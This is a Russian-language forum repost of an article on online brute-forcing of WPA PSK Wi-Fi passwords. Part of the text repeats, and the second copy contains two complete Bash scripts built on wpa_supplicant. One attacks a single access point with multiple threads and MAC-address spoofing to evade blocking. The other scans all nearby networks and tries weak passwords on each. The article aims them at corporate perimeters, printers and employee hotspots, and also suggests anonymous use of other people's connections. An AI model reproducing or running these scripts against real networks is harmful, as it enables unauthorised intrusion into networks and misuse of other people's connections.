Атаки на Wi-Fi чрезвычайно разнообразны: злоумышленник может попытаться взломать клиентские устройства и точки доступа, да и последние могут использовать разные протоколы и методы аутентификации.
В этой статье мы рассмотрим простой, но эффективный метод брутфорса беспроводных сетей.
Наиболее часто встречаются сети WPA PSK. Даже если в компании используются сети WPA-Enterprise, а все остальное запрещено, мы всегда можем найти WPA PSK благодаря тем же беспроводным принтерам и всяческим несанкционированным точкам доступа, работающим на телефонах сотрудников. И чем больше периметр компании, тем больше таких потенциальных точек входа можно обнаружить.
При атаках на точки доступа с WPA PSK обычно используется следующая схема.
Классическая схема действий при атаках WPA PSK
Но что делать, если у точки доступа нет клиентов? Грубо говоря, где‑то у половины обнаруженных беспроводных сетей будут отсутствовать активные клиенты, а другая половина не будет подвержена PMKID, и у таких сетей не обнаружится уязвимый к перебору WPS. Выходит, подобные точки доступа устойчивы к атакам, даже если на них используется пароль 12345678? А что нам мешает атаковать их?
Атаки онлайн‑подбором пароля к Wi-Fi-сетям крайне редки, и в интернете можно найти не так уж много реализаций такой атаки. Оно и понятно: ведь ее скорость низкая в сравнении с брутфорсом того же WPA Handshake или PMKID. Но именно эта атака может быть единственно возможной почти в четверти случаев. И пусть скорость подбора будет не так высока, это явно лучше, чем сидеть и ждать у моря погоды.
Так ли нужна нам высокая скорость брутфорса, когда речь идет о небезопасных паролях? Можно предположить, что примерно на каждой десятой точке доступа использован пресловутый пароль 12345678. Неужели для атаки подобных устройств нужен хендшейк?
Брутфорс онлайн в ширину (много точек доступа, несколько паролей)
А что, если мы возьмем с десяток самых слабых паролей? Реализовать онлайн‑брутфорс мы можем достаточно просто с помощью скрипта на Bash, используя лишь wpa_supplicant:
Брутфорс онлайн в глубину в четыре потока (одна точка доступа, много паролей)
Этот метод не так уж и плох, ведь даже Android по умолчанию управляет беспроводными соединениями через старый добрый wpa_supplicant. Cчитается, что онлайн‑брутфорс точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном брутфорсе паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.
В скрипте wpa-brute.sh есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN-интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant. Пока один ждет ответа от точки доступа, другой wpa_supplicant может отправлять пакеты аутентификации со следующим паролем. Значит, скорость брутфорса все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.
Добавив обертку вокруг скрипта wpa-brute.sh, мы можем реализовать брутфорс в ширину:
Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.
Брутфорс в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi-сетей, многие из которых — это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности. Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, — это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.
Использовать брутфорс в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.
Продолжение далее.
В этой статье мы рассмотрим простой, но эффективный метод брутфорса беспроводных сетей.
Наиболее часто встречаются сети WPA PSK. Даже если в компании используются сети WPA-Enterprise, а все остальное запрещено, мы всегда можем найти WPA PSK благодаря тем же беспроводным принтерам и всяческим несанкционированным точкам доступа, работающим на телефонах сотрудников. И чем больше периметр компании, тем больше таких потенциальных точек входа можно обнаружить.
При атаках на точки доступа с WPA PSK обычно используется следующая схема.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Классическая схема действий при атаках WPA PSK
Но что делать, если у точки доступа нет клиентов? Грубо говоря, где‑то у половины обнаруженных беспроводных сетей будут отсутствовать активные клиенты, а другая половина не будет подвержена PMKID, и у таких сетей не обнаружится уязвимый к перебору WPS. Выходит, подобные точки доступа устойчивы к атакам, даже если на них используется пароль 12345678? А что нам мешает атаковать их?
ОНЛАЙНОВЫЙ БРУТФОРС С ИСПОЛЬЗОВАНИЕМ WPA_SUPPLICANT
Подобрать пароль к обычной WPA-сети всегда можно простым перебором, аутентифицируясь и спрашивая каждый раз пароль непосредственно у точки доступа (этот метод называется онлайн‑брутфорсом).Атаки онлайн‑подбором пароля к Wi-Fi-сетям крайне редки, и в интернете можно найти не так уж много реализаций такой атаки. Оно и понятно: ведь ее скорость низкая в сравнении с брутфорсом того же WPA Handshake или PMKID. Но именно эта атака может быть единственно возможной почти в четверти случаев. И пусть скорость подбора будет не так высока, это явно лучше, чем сидеть и ждать у моря погоды.
Так ли нужна нам высокая скорость брутфорса, когда речь идет о небезопасных паролях? Можно предположить, что примерно на каждой десятой точке доступа использован пресловутый пароль 12345678. Неужели для атаки подобных устройств нужен хендшейк?
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Брутфорс онлайн в ширину (много точек доступа, несколько паролей)
А что, если мы возьмем с десяток самых слабых паролей? Реализовать онлайн‑брутфорс мы можем достаточно просто с помощью скрипта на Bash, используя лишь wpa_supplicant:
wpa-brute.sh
Скрипт будет пытаться подключиться к точке доступа, используя исключительно легитимное ПО. На каждой итерации, чтобы избежать блокировок, он может менять наш MAC-адрес на рандомный. Такой скрипт не требует особых режимов беспроводной сетевой карты и может быть запущен на любом компьютере и даже на устройстве с Android.#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOM
if [ "$threads" -eq 1 ]; then
touch "/tmp/wpa_${rand}_${essid}.conf"
while read -r password
do
[[ "${#password}" -lt 8 ]] && continue
#sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue
sed -i 's/^.#psk=.$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"
sudo ifconfig $IFACE up
sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}${essid}.conf" 2>&1 > "/tmp/wpa${rand}_${essid}.log" &
wpa_supplicant=$!
tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
do
#echo "$line"
if echo "$line" | grep -q "completed"; then
break
elif echo "$line" | grep -q "Handshake failed"; then
break
fi
done
sudo pkill -P $wpa_supplicant 2> /dev/null
now=$(date +'%H:%M:%S')
if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then
echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET
exit 1
elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then
echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET
else
echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET
echo "$password" >> "$wordlist"
fi
rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
done < "$wordlist"
elif [ "$threads" -gt 1 ]; then
typeset -a pids=()
for ((thread=0; thread<$threads; thread++)); do
"$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
pids+=($!)
#sleep 0.25
done
for pid in ${pids[*]}; do
tail --pid=$pid -f /dev/null
done
fi
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Брутфорс онлайн в глубину в четыре потока (одна точка доступа, много паролей)
Этот метод не так уж и плох, ведь даже Android по умолчанию управляет беспроводными соединениями через старый добрый wpa_supplicant. Cчитается, что онлайн‑брутфорс точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном брутфорсе паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.
В скрипте wpa-brute.sh есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN-интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant. Пока один ждет ответа от точки доступа, другой wpa_supplicant может отправлять пакеты аутентификации со следующим паролем. Значит, скорость брутфорса все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.
Добавив обертку вокруг скрипта wpa-brute.sh, мы можем реализовать брутфорс в ширину:
wpa_brute-width.sh
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
IFACE=wlan0
TIMEOUT=60
PASSWD=()
MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done
#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)
#sudo killall -KILL wpa_supplicant 2> /dev/null
mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
do
sudo ifconfig $IFACE up
typeset -a bssids=()
typeset -a essids=()
typeset -a signals=()
IFS=$'\x0a'
for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'\n' $'\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK')
do
IFS=$'\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.\t+signal: (.).00 dBm.\t+SSID: ([^\t]+)\t./\1\t\2\t\3/p')
if [ -n "$essid" ]; then
#echo "[*] $bssid $signal $essid"
bssids+=($bssid)
essids+=($essid)
signals+=($signal)
fi
done
for ((i=0; i<${#bssids[@]}; i++))
do
echo "${essids}"$'\t'"${bssids}"$'\t'"${signals}"
done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt
IFS=$'\x0a'
for net in $(cat /tmp/wpa_brute/wpa_net.txt)
do
IFS=$'\t' read essid bssid signal <<< $(echo "$net")
fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue
echo "[+] $essid $bssid $signal"
sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
threads=0
for passwd in ${PASSWD[*]}
do ((threads++))
echo "$passwd"
done > /tmp/wpa_brute/wordlist.txt
timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))
echo "$essid" >> /tmp/wpa_brute/essids_known.txt
break
done
done
Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.
Брутфорс в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi-сетей, многие из которых — это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности. Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, — это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.
Использовать брутфорс в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.
Продолжение далее.